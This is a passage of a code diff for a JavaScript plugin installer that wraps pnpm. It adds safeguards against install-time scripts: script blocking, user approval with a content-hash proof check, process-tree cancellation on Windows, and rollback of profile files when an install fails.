// cmd.exe while the real pnpm (a grandchild) keeps running — and keeps
|
|
1128
|
+
// mutating the profile while rollback restores it. So: spawn pnpm without a
|
|
1129
|
+
// shell wherever the platform allows it, and when Windows forces a wrapper
|
|
1130
|
+
// (a .cmd shim cannot be spawned with shell:false on modern Node), cancel
|
|
1131
|
+
// terminates the whole process tree and the done chain waits for the
|
|
1132
|
+
// wrapper's 'close' before any rollback runs.
|
|
1133
|
+
|
|
1134
|
+
/** First `binary<ext>` found on PATH, or undefined. */
|
|
1135
|
+
function findOnPath(binary, { platform, pathEnv, extensions }) {
|
|
1136
|
+
const separator = platform === "win32" ? ";" : ":";
|
|
1137
|
+
for (const dir of String(pathEnv ?? "").split(separator)) {
|
|
1138
|
+
if (dir.length === 0) continue;
|
|
1139
|
+
for (const ext of extensions) {
|
|
1140
|
+
const candidate = join(dir, `${binary}${ext}`);
|
|
1141
|
+
if (existsSync(candidate)) return candidate;
|
|
1142
|
+
}
|
|
1143
|
+
}
|
|
1144
|
+
return undefined;
|
|
1145
|
+
}
|
|
1146
|
+
|
|
1147
|
+
/**
|
|
1148
|
+
* How to spawn pnpm on this platform.
|
|
1149
|
+
* @returns {{ command: string, shell: boolean, treeKill: boolean }}
|
|
1150
|
+
* treeKill marks the shell-wrapped case: cancel must taskkill /T the tree.
|
|
1151
|
+
*/
|
|
1152
|
+
function pnpmSpawnPlan({ platform = process.platform, pathEnv = process.env.PATH } = {}) {
|
|
1153
|
+
if (platform !== "win32") return { command: "pnpm", shell: false, treeKill: false };
|
|
1154
|
+
// A real .exe spawns without a shell — cancel then kills pnpm itself.
|
|
1155
|
+
const exe = findOnPath("pnpm", { platform, pathEnv, extensions: [".exe"] });
|
|
1156
|
+
if (exe !== undefined) return { command: exe, shell: false, treeKill: false };
|
|
1157
|
+
// Only the .cmd shim: Node refuses batch files with shell:false (EINVAL
|
|
1158
|
+
// since the batch-file argument-injection fix), so a cmd wrapper is
|
|
1159
|
+
// unavoidable — flag it so cancel kills the whole tree, not the wrapper.
|
|
1160
|
+
const cmd = findOnPath("pnpm", { platform, pathEnv, extensions: [".cmd"] });
|
|
1161
|
+
return { command: cmd ?? "pnpm", shell: true, treeKill: true };
|
|
1162
|
+
}
|
|
1163
|
+
|
|
1164
|
+
/**
|
|
1165
|
+
* Terminate a shell-wrapped process tree (Windows): taskkill /T /F kills the
|
|
1166
|
+
* wrapper AND its descendants, synchronously, so cancel() returns only after
|
|
1167
|
+
* the tree is signalled; the wrapper's 'close' then resolves the done chain
|
|
1168
|
+
* and rollback runs strictly after every pnpm process has exited.
|
|
1169
|
+
*/
|
|
1170
|
+
function killProcessTree(proc) {
|
|
1171
|
+
if (process.platform !== "win32" || typeof proc?.pid !== "number") {
|
|
1172
|
+
try { proc?.kill(); } catch { /* already gone */ }
|
|
1173
|
+
return;
|
|
1174
|
+
}
|
|
1175
|
+
try {
|
|
1176
|
+
spawnSync("taskkill", ["/pid", String(proc.pid), "/T", "/F"], { stdio: "ignore", windowsHide: true, timeout: 10000 });
|
|
1177
|
+
} catch { /* taskkill missing — fall through to a plain kill */ }
|
|
1178
|
+
try { proc.kill(); } catch { /* already gone */ }
|
|
1179
|
+
}
|
|
1180
|
+
|
|
1181
|
+
/** Kill the in-flight pnpm spawn, tree-killing when it runs in a shell wrapper. */
|
|
1182
|
+
function cancelSpawned(current) {
|
|
1183
|
+
if (current === undefined || current === null) return;
|
|
1184
|
+
if (current.treeKill === true) killProcessTree(current.proc);
|
|
1185
|
+
else {
|
|
1186
|
+
try { current.proc.kill(); } catch { /* already exited */ }
|
|
1187
|
+
}
|
|
1188
|
+
}
|
|
1189
|
+
|
|
1190
|
+
/** Mirrors guard.js pendingPath(): <home>/guard/pending-<profile>.json. */
|
|
1191
|
+
function pendingMarkerPath(profileDir) {
|
|
1192
|
+
return join(dirname(dirname(profileDir)), "guard", `pending-${basename(profileDir)}.json`);
|
|
1193
|
+
}
|
|
1194
|
+
|
|
630
1195
|
// ── the background install job ──────────────────────────────────────────────
|
|
631
1196
|
|
|
632
1197
|
/**
|
|
@@ -643,9 +1208,10 @@ async function enablePnpmViaCorepack(push) {
|
|
|
643
1208
|
function renderApprovalNeeded(spec, disclosure) {
|
|
644
1209
|
const lines = [
|
|
645
1210
|
`installing ${spec} requires running install-time code — approval needed.`,
|
|
646
|
-
"No install script ran and no plugin code loaded.
|
|
647
|
-
"
|
|
648
|
-
"
|
|
1211
|
+
"No install script ran and no plugin code loaded. The profile was restored",
|
|
1212
|
+
"to its pre-install state. On approval, pnpm resolves again with scripts",
|
|
1213
|
+
"blocked; the materialized bytes and commands must match this disclosure",
|
|
1214
|
+
"before the verified tree is rebuilt. Nothing is left behind if you cancel.",
|
|
649
1215
|
"",
|
|
650
1216
|
];
|
|
651
1217
|
for (const entry of disclosure) {
|
|
@@ -653,7 +1219,9 @@ function renderApprovalNeeded(spec, disclosure) {
|
|
|
653
1219
|
? "the plugin itself"
|
|
654
1220
|
: "a transitive dependency — NOT the package you asked for";
|
|
655
1221
|
lines.push(` ${entry.name}${entry.version ? `@${entry.version}` : ""} (${origin})`);
|
|
1222
|
+
if (entry.selector) lines.push(` pnpm selector: ${entry.selector}`);
|
|
656
1223
|
for (const [key, command] of Object.entries(entry.scripts ?? {})) lines.push(` ${key}: ${command}`);
|
|
1224
|
+
if (entry.contentHash) lines.push(` artifact SHA-256: ${entry.contentHash}`);
|
|
657
1225
|
const facts = [];
|
|
658
1226
|
if (typeof entry.weeklyDownloads === "number") facts.push(`${entry.weeklyDownloads.toLocaleString()} weekly downloads`);
|
|
659
1227
|
facts.push(entry.provenance === true ? "has provenance" : "no provenance");
|
|
@@ -666,8 +1234,73 @@ function renderApprovalNeeded(spec, disclosure) {
|
|
|
666
1234
|
return lines.join("\n");
|
|
667
1235
|
}
|
|
668
1236
|
|
|
669
|
-
|
|
670
|
-
|
|
1237
|
+
/**
|
|
1238
|
+
* Args for the live `pnpm add`. Peer auto-install is disabled just like in the
|
|
1239
|
+
* disposable probe install (guard.js probeAddArgs): a marketplace install must
|
|
1240
|
+
* never pull the @deepseek-ai host peer stack into the profile. The spec is
|
|
1241
|
+
* validated by assertSafeSpec before this runs; every other argv entry is a
|
|
1242
|
+
* fixed string.
|
|
1243
|
+
*
|
|
1244
|
+
* strict-dep-builds forces pnpm to FAIL when it blocks a build script instead
|
|
1245
|
+
* of exiting 0 while printing "Ignored build scripts" — which used to bypass
|
|
1246
|
+
* the approval gate entirely and finalize a success with the scripts silently
|
|
1247
|
+
* skipped. The successful output is still inspected (see settle), so even a
|
|
1248
|
+
* pnpm that does not honor the flag cannot slip ignored builds past the gate.
|
|
1249
|
+
*/
|
|
1250
|
+
function liveAddArgs(spec) {
|
|
1251
|
+
return [
|
|
1252
|
+
"add",
|
|
1253
|
+
spec,
|
|
1254
|
+
"--reporter=append-only",
|
|
1255
|
+
"--config.auto-install-peers=false",
|
|
1256
|
+
"--config.strict-dep-builds=true",
|
|
1257
|
+
"--config.dangerously-allow-all-builds=false",
|
|
1258
|
+
];
|
|
1259
|
+
}
|
|
1260
|
+
|
|
1261
|
+
/** Rebuild only the already-materialized packages whose exact pnpm selectors
|
|
1262
|
+
* were approved. Unlike a second `pnpm add <spec>`, this never re-resolves a
|
|
1263
|
+
* mutable file/git/tag spec after the proof comparison. */
|
|
1264
|
+
function rebuildApprovedArgs(packageNames) {
|
|
1265
|
+
const names = [...new Set(packageNames)].sort();
|
|
1266
|
+
if (names.length === 0 || names.some((name) => !NPM_NAME_RE.test(name))) {
|
|
1267
|
+
throw new Error("cannot rebuild an empty or invalid approved package set");
|
|
1268
|
+
}
|
|
1269
|
+
return ["rebuild", ...names, "--reporter=append-only"];
|
|
1270
|
+
}
|
|
1271
|
+
|
|
1272
|
+
/**
|
|
1273
|
+
* Env for the live `pnpm add`. pnpmGuardEnv disables peer auto-install; the
|
|
1274
|
+
* strict-dep-builds pair is the env form of the --config flag above and also
|
|
1275
|
+
* reaches any pnpm the install itself spawns (git-hosted deps, nested runs).
|
|
1276
|
+
*/
|
|
1277
|
+
function liveAddEnv(base = process.env) {
|
|
1278
|
+
return {
|
|
1279
|
+
...pnpmGuardEnv(base),
|
|
1280
|
+
npm_config_strict_dep_builds: "true",
|
|
1281
|
+
NPM_CONFIG_STRICT_DEP_BUILDS: "true",
|
|
1282
|
+
npm_config_dangerously_allow_all_builds: "false",
|
|
1283
|
+
NPM_CONFIG_DANGEROUSLY_ALLOW_ALL_BUILDS: "false",
|
|
1284
|
+
};
|
|
1285
|
+
}
|
|
1286
|
+
|
|
1287
|
+
export function runInstall({ profile, spec, allowBuildScripts, approvedProof, preflight, _profileDir, _spawn, _describe, _restoreWorkspace }) {
|
|
1288
|
+
// Serialized with every other add/remove targeting the same profile (see
|
|
1289
|
+
// serializedProducer). Underscored arguments are self-test seams; production
|
|
1290
|
+
// callers never pass them. `_restoreWorkspace` exists specifically so the
|
|
1291
|
+
// fail-closed restoration path can be attacked without relying on flaky OS
|
|
1292
|
+
// permission tricks.
|
|
1293
|
+
return serializedProducer(_profileDir ?? profileLockKey(profile), () =>
|
|
1294
|
+
runInstallInner({ profile, spec, allowBuildScripts, approvedProof, preflight, _profileDir, _spawn, _describe, _restoreWorkspace }));
|
|
1295
|
+
}
|
|
1296
|
+
|
|
1297
|
+
function runInstallInner({ profile, spec, allowBuildScripts, approvedProof, preflight, _profileDir, _spawn, _describe, _restoreWorkspace }) {
|
|
1298
|
+
const profileDir = _profileDir ?? ensureProfile(profile);
|
|
1299
|
+
try {
|
|
1300
|
+
assertNoManifestBuildBypass(profileDir);
|
|
1301
|
+
} catch (error) {
|
|
1302
|
+
return failedNow(`cannot safely probe install scripts for ${spec}: ${error.message}`);
|
|
1303
|
+
}
|
|
671
1304
|
// Dependency keys BEFORE pnpm add, so reconcile only manages entries that
|
|
672
1305
|
// were (or became) dependencies and never touches template bundles.
|
|
673
1306
|
const beforeDeps = new Set(Object.keys(readManifest(profileDir).dependencies ?? {}));
|
|
@@ -677,14 +1310,78 @@ export function runInstall({ profile, spec, allowBuildScripts }) {
|
|
|
677
1310
|
collected.push(text);
|
|
678
1311
|
deltaQueue.push(text);
|
|
679
1312
|
};
|
|
1313
|
+
|
|
1314
|
+
const workspacePath = join(profileDir, "pnpm-workspace.yaml");
|
|
1315
|
+
const originalWorkspaceBytes = existsSync(workspacePath) ? readFileSync(workspacePath) : undefined;
|
|
1316
|
+
let workspaceRestored = false;
|
|
1317
|
+
let workspaceRestoreError;
|
|
1318
|
+
const restoreOriginalWorkspace = () => {
|
|
1319
|
+
if (workspaceRestored) return true;
|
|
1320
|
+
try {
|
|
1321
|
+
if (_restoreWorkspace !== undefined) {
|
|
1322
|
+
_restoreWorkspace(workspacePath, originalWorkspaceBytes);
|
|
1323
|
+
} else if (originalWorkspaceBytes === undefined) {
|
|
1324
|
+
rmSync(workspacePath, { force: true });
|
|
1325
|
+
} else {
|
|
1326
|
+
writeFileSync(workspacePath, originalWorkspaceBytes);
|
|
1327
|
+
}
|
|
1328
|
+
workspaceRestored = true;
|
|
1329
|
+
workspaceRestoreError = undefined;
|
|
1330
|
+
return true;
|
|
1331
|
+
} catch (err) {
|
|
1332
|
+
workspaceRestoreError = err;
|
|
1333
|
+
push(`\n[dsh-plugin-mall] WARNING: could not restore pnpm-workspace.yaml: ${err.message}\n`);
|
|
1334
|
+
return false;
|
|
1335
|
+
}
|
|
1336
|
+
};
|
|
1337
|
+
|
|
1338
|
+
// Snapshot the four profile files and register the pending marker BEFORE the
|
|
1339
|
+
// first live pnpm add runs. These are the files that decide what pnpm
|
|
1340
|
+
// installs and what dsh loads; the marker is what lets startup/CLI recovery
|
|
1341
|
+
// roll the profile back if the plugin proves unloadable.
|
|
1342
|
+
let snapshot;
|
|
1343
|
+
try {
|
|
1344
|
+
snapshot = createProfileSnapshot(profileDir, { spec });
|
|
1345
|
+
} catch (error) {
|
|
1346
|
+
return failedNow(`cannot snapshot profile before installing ${spec}: ${error.message} — refusing to touch the profile`);
|
|
1347
|
+
}
|
|
1348
|
+
try {
|
|
1349
|
+
markPendingSnapshot(snapshot, { spec, preflight });
|
|
1350
|
+
} catch (error) {
|
|
1351
|
+
rmSync(snapshot.dir, { recursive: true, force: true });
|
|
1352
|
+
return failedNow(`cannot register the install pending marker for ${spec}: ${error.message} — refusing to touch the profile`);
|
|
1353
|
+
}
|
|
1354
|
+
|
|
1355
|
+
// Neutralize existing allowBuilds before every first pnpm add so strict-dep-builds
|
|
1356
|
+
// always blocks candidate lifecycle scripts regardless of pre-existing workspace policy.
|
|
1357
|
+
try {
|
|
1358
|
+
if (originalWorkspaceBytes !== undefined) {
|
|
1359
|
+
const neutralized = neutralizeWorkspaceContent(originalWorkspaceBytes.toString("utf8"));
|
|
1360
|
+
writeYamlChecked(workspacePath, neutralized, "pnpm-workspace.yaml");
|
|
1361
|
+
} else {
|
|
1362
|
+
writeYamlChecked(workspacePath, DEFAULT_WORKSPACE_YAML, "pnpm-workspace.yaml");
|
|
1363
|
+
}
|
|
1364
|
+
} catch (error) {
|
|
1365
|
+
const restored = restoreOriginalWorkspace();
|
|
1366
|
+
try {
|
|
1367
|
+
if (restored) commitPendingSnapshot(profileDir);
|
|
1368
|
+
else rollbackPendingSnapshot(profileDir);
|
|
1369
|
+
} catch (cleanupError) {
|
|
1370
|
+
return failedNow(`cannot neutralize workspace build policy before installing ${spec}: ${error.message}; cleanup also failed: ${cleanupError.message}`);
|
|
1371
|
+
}
|
|
1372
|
+
return failedNow(`cannot neutralize workspace allowBuilds before installing ${spec}: ${error.message} — refusing to touch the profile`);
|
|
1373
|
+
}
|
|
1374
|
+
|
|
680
1375
|
let current = undefined;
|
|
681
1376
|
let pnpmSelfHealed = false;
|
|
1377
|
+
const plan = _spawn === undefined ? pnpmSpawnPlan() : { command: "pnpm", shell: false, treeKill: false };
|
|
1378
|
+
const spawnImpl = _spawn ?? spawn;
|
|
682
1379
|
|
|
683
1380
|
const spawnAdd = () => {
|
|
684
|
-
const proc =
|
|
1381
|
+
const proc = spawnImpl(plan.command, liveAddArgs(spec), {
|
|
685
1382
|
cwd: profileDir,
|
|
686
|
-
env:
|
|
687
|
-
shell:
|
|
1383
|
+
env: liveAddEnv(),
|
|
1384
|
+
shell: plan.shell,
|
|
688
1385
|
stdio: ["ignore", "pipe", "pipe"],
|
|
689
1386
|
windowsHide: true,
|
|
690
1387
|
});
|
|
@@ -694,7 +1391,24 @@ export function runInstall({ profile, spec, allowBuildScripts }) {
|
|
|
694
1391
|
});
|
|
695
1392
|
proc.stdout?.on("data", (data) => push(data.toString()));
|
|
696
1393
|
proc.stderr?.on("data", (data) => push(data.toString()));
|
|
697
|
-
return { proc, done };
|
|
1394
|
+
return { proc, done, treeKill: plan.treeKill };
|
|
1395
|
+
};
|
|
1396
|
+
|
|
1397
|
+
const spawnApprovedRebuild = (packageNames) => {
|
|
1398
|
+
const proc = spawnImpl(plan.command, rebuildApprovedArgs(packageNames), {
|
|
1399
|
+
cwd: profileDir,
|
|
1400
|
+
env: liveAddEnv(),
|
|
1401
|
+
shell: plan.shell,
|
|
1402
|
+
stdio: ["ignore", "pipe", "pipe"],
|
|
1403
|
+
windowsHide: true,
|
|
1404
|
+
});
|
|
1405
|
+
const done = new Promise((resolveDone) => {
|
|
1406
|
+
proc.on("error", (error) => resolveDone({ spawnError: error }));
|
|
1407
|
+
proc.on("close", (exitCode) => resolveDone({ exitCode, signal: proc.signalCode }));
|
|
1408
|
+
});
|
|
1409
|
+
proc.stdout?.on("data", (data) => push(data.toString()));
|
|
1410
|
+
proc.stderr?.on("data", (data) => push(data.toString()));
|
|
1411
|
+
return { proc, done, treeKill: plan.treeKill };
|
|
698
1412
|
};
|
|
699
1413
|
|
|
700
1414
|
/** Post-success accounting: reconcile bundles, register client rows, summarize. */
|
|
@@ -723,95 +1437,165 @@ export function runInstall({ profile, spec, allowBuildScripts }) {
|
|
|
723
1437
|
return { status: "completed", detail: `installed ${spec} into profile "${profile}"${noteText}. Restart dsh for plugin code to load.` };
|
|
724
1438
|
};
|
|
725
1439
|
|
|
1440
|
+
const tryFinalize = () => {
|
|
1441
|
+
try {
|
|
1442
|
+
return finalizeSuccess();
|
|
1443
|
+
} catch (error) {
|
|
1444
|
+
return { status: "failed", detail: `pnpm installed ${spec} but post-install reconciliation failed: ${error?.message ?? String(error)}` };
|
|
1445
|
+
}
|
|
1446
|
+
};
|
|
1447
|
+
|
|
726
1448
|
const settle = async (outcome) => {
|
|
727
1449
|
if (outcome.spawnError !== undefined) {
|
|
728
|
-
// pnpm 缺失时先尝试 corepack 自愈一次,成功则重跑安装。
|
|
729
1450
|
if (outcome.spawnError.code === "ENOENT" && !pnpmSelfHealed) {
|
|
730
1451
|
pnpmSelfHealed = true;
|
|
731
1452
|
const healed = await enablePnpmViaCorepack(push);
|
|
732
1453
|
if (healed) {
|
|
733
1454
|
const retry = spawnAdd();
|
|
734
|
-
current = retry
|
|
1455
|
+
current = retry;
|
|
735
1456
|
return settle(await retry.done);
|
|
736
1457
|
}
|
|
1458
|
+
restoreOriginalWorkspace();
|
|
737
1459
|
return { status: "failed", detail: "pnpm not found on PATH and `corepack enable pnpm` could not provision it — install pnpm (e.g. `npm i -g pnpm`) to manage profile plugins" };
|
|
738
1460
|
}
|
|
1461
|
+
restoreOriginalWorkspace();
|
|
739
1462
|
const hint = outcome.spawnError.code === "ENOENT"
|
|
740
1463
|
? "pnpm not found on PATH — install pnpm (e.g. `corepack enable pnpm`) to manage profile plugins"
|
|
741
1464
|
: `could not start pnpm: ${outcome.spawnError.message}`;
|
|
742
1465
|
return { status: "failed", detail: hint };
|
|
743
1466
|
}
|
|
744
1467
|
if (outcome.exitCode === null) {
|
|
1468
|
+
restoreOriginalWorkspace();
|
|
745
1469
|
return { status: "killed", detail: outcome.signal ? `signal: ${outcome.signal}` : "killed before exit" };
|
|
746
1470
|
}
|
|
747
|
-
if (outcome.exitCode === 0) {
|
|
748
|
-
return finalizeSuccess();
|
|
749
|
-
}
|
|
750
1471
|
const log = collected.join("");
|
|
751
1472
|
const ignored = parseIgnoredBuilds(log);
|
|
1473
|
+
|
|
752
1474
|
if (ignored.length === 0) {
|
|
753
|
-
|
|
1475
|
+
if (!restoreOriginalWorkspace()) {
|
|
1476
|
+
return { status: "failed", detail: `could not restore pnpm-workspace.yaml after the script-blocking probe: ${workspaceRestoreError?.message ?? "unknown error"}` };
|
|
1477
|
+
}
|
|
1478
|
+
if (outcome.exitCode !== 0) {
|
|
1479
|
+
return { status: "failed", detail: `pnpm add ${spec} failed (exit code ${outcome.exitCode}). See job output.` };
|
|
1480
|
+
}
|
|
1481
|
+
return tryFinalize();
|
|
1482
|
+
}
|
|
1483
|
+
|
|
1484
|
+
// Materialized proof calculation:
|
|
1485
|
+
// Determine candidate name and compute canonical proof from the materialized tree
|
|
1486
|
+
const candidateName = resolveCandidateName(profileDir, spec, beforeDeps, preflight);
|
|
1487
|
+
let currentProof;
|
|
1488
|
+
try {
|
|
1489
|
+
currentProof = computeMaterializedProof(profileDir, candidateName, ignored);
|
|
1490
|
+
} catch (proofErr) {
|
|
1491
|
+
restoreOriginalWorkspace();
|
|
1492
|
+
return { status: "failed", detail: `failed to compute materialized package proof for ${spec}: ${proofErr.message}` };
|
|
754
1493
|
}
|
|
755
|
-
|
|
756
|
-
// 之前执行任意命令。这个决定属于用户,不属于我们。所以没有点名同意时就停
|
|
757
|
-
// 在这里——pnpm 拦截的位置恰好在「已下载」与「已执行」之间,此刻什么都还
|
|
758
|
-
// 没跑,profile 也一个字节没动。
|
|
1494
|
+
|
|
759
1495
|
const consented = new Set((Array.isArray(allowBuildScripts) ? allowBuildScripts : []).map((name) => String(name)));
|
|
760
1496
|
const missing = ignored.filter((entry) => !consented.has(entry.name));
|
|
761
|
-
if (missing.length > 0) {
|
|
1497
|
+
if (missing.length > 0 || approvedProof === undefined) {
|
|
762
1498
|
push(`\n[dsh-plugin-mall] pnpm blocked install scripts for: ${ignored.map((entry) => entry.name).join(", ")}\n`);
|
|
763
1499
|
push("[dsh-plugin-mall] stopping for approval — no install script ran, nothing is loadable yet.\n");
|
|
764
1500
|
let disclosure;
|
|
765
1501
|
try {
|
|
766
|
-
|
|
767
|
-
|
|
768
|
-
|
|
769
|
-
|
|
1502
|
+
const hints = _describe !== undefined
|
|
1503
|
+
? await _describe(missing.length > 0 ? missing : ignored)
|
|
1504
|
+
: await describeBuildScripts(missing.length > 0 ? missing : ignored, {
|
|
1505
|
+
registry: await resolveRegistry(profile),
|
|
1506
|
+
installedName: npmNameOf(spec) ?? undefined,
|
|
1507
|
+
});
|
|
1508
|
+
disclosure = disclosureFromMaterializedProof(currentProof, hints);
|
|
770
1509
|
} catch {
|
|
771
|
-
disclosure =
|
|
1510
|
+
disclosure = disclosureFromMaterializedProof(currentProof);
|
|
1511
|
+
}
|
|
1512
|
+
if (!restoreOriginalWorkspace()) {
|
|
1513
|
+
return { status: "failed", detail: `could not restore pnpm-workspace.yaml after preparing install-script disclosure: ${workspaceRestoreError?.message ?? "unknown error"}` };
|
|
772
1514
|
}
|
|
773
|
-
return { status: "failed", detail: renderApprovalNeeded(spec, disclosure), needsApproval: disclosure };
|
|
1515
|
+
return { status: "failed", detail: renderApprovalNeeded(spec, disclosure), needsApproval: disclosure, proof: currentProof };
|
|
1516
|
+
}
|
|
1517
|
+
|
|
1518
|
+
// Canonical proof verification on retry:
|
|
1519
|
+
// Require exact byte-for-byte canonical proof equality
|
|
1520
|
+
const currentProofStr = serializeCanonicalProof(currentProof);
|
|
1521
|
+
const approvedProofStr = serializeCanonicalProof(approvedProof);
|
|
1522
|
+
if (currentProofStr !== approvedProofStr) {
|
|
1523
|
+
push("\n[dsh-plugin-mall] security error: materialized package proof does not match approved token proof (content, scripts, or package identity changed) — refusing to run scripts and rolling back\n");
|
|
1524
|
+
restoreOriginalWorkspace();
|
|
1525
|
+
return {
|
|
1526
|
+
status: "failed",
|
|
1527
|
+
detail: "security verification failed: package content, scripts, or resolved identity changed after approval was granted — install aborted to protect the profile.",
|
|
1528
|
+
};
|
|
774
1529
|
}
|
|
1530
|
+
|
|
775
1531
|
push(`\n[dsh-plugin-mall] approved install scripts: ${ignored.map((entry) => entry.name).join(", ")}\n`);
|
|
776
|
-
push("[dsh-plugin-mall] allowing them in the profile's pnpm-workspace.yaml and retrying once.\n");
|
|
777
|
-
|
|
1532
|
+
push("[dsh-plugin-mall] temporarily allowing them in the profile's pnpm-workspace.yaml and retrying once.\n");
|
|
1533
|
+
|
|
1534
|
+
workspaceRestored = false; // allow writing temporary approved builds
|
|
778
1535
|
try {
|
|
779
|
-
|
|
1536
|
+
const currentWs = existsSync(workspacePath) ? readFileSync(workspacePath, "utf8") : DEFAULT_WORKSPACE_YAML;
|
|
1537
|
+
const nextWs = enableApprovedBuildSelectors(currentWs, ignored.map((entry) => entry.selector));
|
|
1538
|
+
writeYamlChecked(workspacePath, nextWs, "pnpm-workspace.yaml");
|
|
780
1539
|
} catch (error) {
|
|
781
|
-
|
|
1540
|
+
restoreOriginalWorkspace();
|
|
1541
|
+
return { status: "failed", detail: `could not allow the blocked build scripts: ${error.message}. The profile was left untouched.` };
|
|
782
1542
|
}
|
|
783
|
-
|
|
784
|
-
|
|
785
|
-
|
|
786
|
-
if (rollbackAllowBuilds === undefined) return;
|
|
787
|
-
try {
|
|
788
|
-
rollbackAllowBuilds();
|
|
789
|
-
push("[dsh-plugin-mall] install failed — reverted the allowBuilds change, the profile is as it was\n");
|
|
790
|
-
} catch {
|
|
791
|
-
/* 还原失败不该盖掉真正的失败原因 */
|
|
792
|
-
}
|
|
793
|
-
};
|
|
794
|
-
const retry = spawnAdd();
|
|
795
|
-
current = retry.proc;
|
|
1543
|
+
|
|
1544
|
+
const retry = spawnApprovedRebuild(ignored.map((entry) => entry.name));
|
|
1545
|
+
current = retry;
|
|
796
1546
|
const retryOutcome = await retry.done;
|
|
1547
|
+
|
|
1548
|
+
// Restore workspace bytes on EVERY branch (including success) before finalize
|
|
1549
|
+
if (!restoreOriginalWorkspace()) {
|
|
1550
|
+
return { status: "failed", detail: `approved scripts finished but pnpm-workspace.yaml could not be restored: ${workspaceRestoreError?.message ?? "unknown error"}` };
|
|
1551
|
+
}
|
|
1552
|
+
|
|
797
1553
|
if (retryOutcome.spawnError !== undefined) {
|
|
798
|
-
revert();
|
|
799
1554
|
return { status: "failed", detail: `retry could not start pnpm: ${retryOutcome.spawnError.message}` };
|
|
800
1555
|
}
|
|
1556
|
+
if (retryOutcome.exitCode === null) {
|
|
1557
|
+
return { status: "killed", detail: retryOutcome.signal ? `signal: ${retryOutcome.signal}` : "killed before exit" };
|
|
1558
|
+
}
|
|
801
1559
|
if (retryOutcome.exitCode === 0) {
|
|
802
|
-
return
|
|
1560
|
+
return tryFinalize();
|
|
803
1561
|
}
|
|
804
|
-
|
|
805
|
-
return { status: "failed", detail: `pnpm add ${spec} still failed after allowing build scripts (exit code ${retryOutcome.exitCode}). See job output. The allowBuilds change was reverted; pnpm may still have left the dependency in the profile's package.json — market_uninstall removes it.` };
|
|
1562
|
+
return { status: "failed", detail: `pnpm add ${spec} still failed after allowing build scripts (exit code ${retryOutcome.exitCode}). See job output.` };
|
|
806
1563
|
};
|
|
807
1564
|
|
|
808
1565
|
const first = spawnAdd();
|
|
809
|
-
current = first
|
|
810
|
-
const done = first.done
|
|
1566
|
+
current = first;
|
|
1567
|
+
const done = first.done
|
|
1568
|
+
.then((outcome) => settle(outcome))
|
|
1569
|
+
.catch((error) => {
|
|
1570
|
+
restoreOriginalWorkspace();
|
|
1571
|
+
return {
|
|
1572
|
+
status: "failed",
|
|
1573
|
+
detail: `install of ${spec} hit an internal error: ${error?.message ?? String(error)}`,
|
|
1574
|
+
};
|
|
1575
|
+
})
|
|
1576
|
+
.then((result) => {
|
|
1577
|
+
if (!restoreOriginalWorkspace()) {
|
|
1578
|
+
result = {
|
|
1579
|
+
status: "failed",
|
|
1580
|
+
detail: `pnpm-workspace.yaml restoration failed (${workspaceRestoreError?.message ?? "unknown error"}); refusing to finalize and rolling the profile back`,
|
|
1581
|
+
};
|
|
1582
|
+
}
|
|
1583
|
+
if (result.status === "completed") {
|
|
1584
|
+
// Keep the marker as-is
|
|
1585
|
+
} else {
|
|
1586
|
+
try {
|
|
1587
|
+
rollbackPendingSnapshot(profileDir);
|
|
1588
|
+
push("\n[dsh-plugin-mall] install did not complete — restored profile files to their pre-install state and cleared the pending marker\n");
|
|
1589
|
+
} catch (error) {
|
|
1590
|
+
push(`\n[dsh-plugin-mall] WARNING: could not roll back the pending snapshot: ${error.message}\n`);
|
|
1591
|
+
}
|
|
1592
|
+
}
|
|
1593
|
+
return result;
|
|
1594
|
+
});
|
|
811
1595
|
|
|
812
1596
|
return {
|
|
813
1597
|
cancel: () => {
|
|
814
|
-
current
|
|
1598
|
+
cancelSpawned(current);
|
|
815
1599
|
},
|
|
816
1600
|
done,
|
|
817
1601
|
readOutput: () => {
|
|
@@ -838,12 +1622,32 @@ function failedNow(detail) {
|
|
|
838
1622
|
* `dsh.profile.bundles` (the removed dependency's bundle entry drops out) and
|
|
839
1623
|
* deletes the client loader row `ensureClientRow` had registered for it.
|
|
840
1624
|
*/
|
|
841
|
-
export function runRemove({ profile, packageName
|
|
1625
|
+
export function runRemove({ profile, packageName, _profileDir, _spawn }) {
|
|
1626
|
+
// Same per-profile queue as runInstall — a remove must never run
|
|
1627
|
+
// concurrently with an install (or another remove) in the same profile.
|
|
1628
|
+
return serializedProducer(_profileDir ?? profileLockKey(profile), () =>
|
|
1629
|
+
runRemoveInner({ profile, packageName, _profileDir, _spawn }, false));
|
|
1630
|
+
}
|
|
1631
|
+
|
|
1632
|
+
function runRemoveInner({ profile, packageName, _profileDir, _spawn }, selfHealed) {
|
|
842
1633
|
let profileDir;
|
|
843
|
-
|
|
844
|
-
profileDir =
|
|
845
|
-
}
|
|
846
|
-
|
|
1634
|
+
if (_profileDir !== undefined) {
|
|
1635
|
+
profileDir = _profileDir;
|
|
1636
|
+
} else {
|
|
1637
|
+
try {
|
|
1638
|
+
profileDir = resolveProfileDir(profile);
|
|
1639
|
+
} catch (error) {
|
|
1640
|
+
return failedNow(`invalid profile: ${error.message}`);
|
|
1641
|
+
}
|
|
1642
|
+
}
|
|
1643
|
+
// Fail closed: an unresolved install transaction (pending marker) owns this
|
|
1644
|
+
// profile until startup/CLI recovery commits or rolls it back. Removing
|
|
1645
|
+
// packages underneath it would corrupt the state the marker protects.
|
|
1646
|
+
// Existence-only, like markPendingSnapshot: a corrupt marker blocks just as
|
|
1647
|
+
// hard as a valid one, and is left untouched for the recovery path.
|
|
1648
|
+
const markerPath = pendingMarkerPath(profileDir);
|
|
1649
|
+
if (existsSync(markerPath)) {
|
|
1650
|
+
return failedNow(`profile "${profile}" has a pending install transaction (${markerPath}) — refusing to remove ${packageName} until it is resolved; restart dsh (startup recovery) or run \`dsh-plugin-guard guard recover\` first`);
|
|
847
1651
|
}
|
|
848
1652
|
const manifestPath = join(profileDir, "package.json");
|
|
849
1653
|
if (!existsSync(manifestPath)) {
|
|
@@ -859,25 +1663,26 @@ export function runRemove({ profile, packageName }, selfHealed = false) {
|
|
|
859
1663
|
};
|
|
860
1664
|
let current = undefined;
|
|
861
1665
|
|
|
862
|
-
const
|
|
1666
|
+
const plan = _spawn === undefined ? pnpmSpawnPlan() : { command: "pnpm", shell: false, treeKill: false };
|
|
1667
|
+
const proc = (_spawn ?? spawn)(plan.command, ["remove", packageName, "--reporter=append-only"], {
|
|
863
1668
|
cwd: profileDir,
|
|
864
1669
|
env: process.env,
|
|
865
|
-
shell:
|
|
1670
|
+
